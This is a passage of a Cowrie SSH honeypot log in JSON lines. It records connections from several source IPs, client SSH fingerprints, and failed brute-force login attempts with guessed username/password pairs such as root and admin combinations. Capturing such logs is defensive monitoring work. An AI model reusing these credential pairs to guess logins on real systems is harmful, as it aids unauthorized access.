{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":59518,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d11abaa0ecc","protocol":"ssh","message":"New connection: 202.145.0.61:59518 (10.17.0.5:22) [session: 3d11abaa0ecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:50:18.603851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:50:18.611466Z","src_ip":"202.145.0.61","session":"3d11abaa0ecc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:50:18.845128Z","src_ip":"202.145.0.61","session":"3d11abaa0ecc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"999999","message":"login attempt [ubuntu/999999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:50:19.810789Z","src_ip":"202.145.0.61","session":"3d11abaa0ecc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:50:21.047981Z","src_ip":"202.145.0.61","session":"3d11abaa0ecc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.129","src_port":16130,"dst_ip":"159.203.135.109","dst_port":22,"session":"0057cf019d78","protocol":"ssh","message":"New connection: 66.132.172.129:16130 (159.203.135.109:22) [session: 0057cf019d78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:50:30.193777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:50:31.414603Z","src_ip":"66.132.172.129","session":"0057cf019d78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"873a5fb5fedc2d4f8638ebde4abc6cfc","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 873a5fb5fedc2d4f8638ebde4abc6cfc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:50:31.418614Z","src_ip":"66.132.172.129","session":"0057cf019d78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.4","message":"Connection lost after 16.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:50:46.646350Z","src_ip":"66.132.172.129","session":"0057cf019d78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.44.172","src_port":48348,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa5036483564","protocol":"ssh","message":"New connection: 87.106.44.172:48348 (10.17.0.5:22) [session: aa5036483564]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:50:56.978102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:50:56.992080Z","src_ip":"87.106.44.172","session":"aa5036483564","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:50:57.067951Z","src_ip":"87.106.44.172","session":"aa5036483564","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pkpkpk","message":"login attempt [root/pkpkpk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:50:57.580458Z","src_ip":"87.106.44.172","session":"aa5036483564","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:50:58.662865Z","src_ip":"87.106.44.172","session":"aa5036483564","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.103","src_port":39191,"dst_ip":"10.17.0.5","dst_port":22,"session":"b24717b478bd","protocol":"ssh","message":"New connection: 79.127.181.103:39191 (10.17.0.5:22) [session: b24717b478bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:51:01.304096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:51:01.504173Z","src_ip":"79.127.181.103","session":"b24717b478bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:51:01.697962Z","src_ip":"79.127.181.103","session":"b24717b478bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:51:01.703941Z","src_ip":"79.127.181.103","session":"b24717b478bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":47720,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8ed49bc26b7","protocol":"ssh","message":"New connection: 202.145.0.61:47720 (10.17.0.5:22) [session: c8ed49bc26b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:51:10.965745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:51:10.970830Z","src_ip":"202.145.0.61","session":"c8ed49bc26b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:51:11.204192Z","src_ip":"202.145.0.61","session":"c8ed49bc26b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"hduser123456789","message":"login attempt [ubuntu/hduser123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:51:12.166027Z","src_ip":"202.145.0.61","session":"c8ed49bc26b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:51:13.403389Z","src_ip":"202.145.0.61","session":"c8ed49bc26b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.44.172","src_port":59482,"dst_ip":"10.17.0.5","dst_port":22,"session":"857311351705","protocol":"ssh","message":"New connection: 87.106.44.172:59482 (10.17.0.5:22) [session: 857311351705]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:51:51.348598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:51:51.402252Z","src_ip":"87.106.44.172","session":"857311351705","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:51:51.478122Z","src_ip":"87.106.44.172","session":"857311351705","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"toyota","message":"login attempt [admin/toyota] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:51:51.897929Z","src_ip":"87.106.44.172","session":"857311351705","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:51:52.980091Z","src_ip":"87.106.44.172","session":"857311351705","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":51124,"dst_ip":"159.203.135.109","dst_port":22,"session":"55d2b01be318","protocol":"ssh","message":"New connection: 80.94.92.171:51124 (159.203.135.109:22) [session: 55d2b01be318]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:51:56.645204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:51:56.830834Z","src_ip":"80.94.92.171","session":"55d2b01be318","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:51:56.834858Z","src_ip":"80.94.92.171","session":"55d2b01be318","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:51:58.591453Z","src_ip":"80.94.92.171","session":"55d2b01be318","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:52:00.132200Z","src_ip":"80.94.92.171","session":"55d2b01be318","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":35924,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f343c8d269f","protocol":"ssh","message":"New connection: 202.145.0.61:35924 (10.17.0.5:22) [session: 8f343c8d269f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:52:03.493414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:52:03.498350Z","src_ip":"202.145.0.61","session":"8f343c8d269f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:52:03.739860Z","src_ip":"202.145.0.61","session":"8f343c8d269f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"Qwerty@123","message":"login attempt [dev/Qwerty@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:52:04.735321Z","src_ip":"202.145.0.61","session":"8f343c8d269f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:52:05.981051Z","src_ip":"202.145.0.61","session":"8f343c8d269f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.163.156","src_port":45206,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba72ccf7135e","protocol":"ssh","message":"New connection: 64.89.163.156:45206 (159.203.135.109:22) [session: ba72ccf7135e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:52:31.091222Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:52:31.180277Z","src_ip":"64.89.163.156","session":"ba72ccf7135e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.163.156","src_port":45214,"dst_ip":"159.203.135.109","dst_port":22,"session":"b07d70061f9f","protocol":"ssh","message":"New connection: 64.89.163.156:45214 (159.203.135.109:22) [session: b07d70061f9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:52:31.263617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:52:31.268090Z","src_ip":"64.89.163.156","session":"b07d70061f9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","a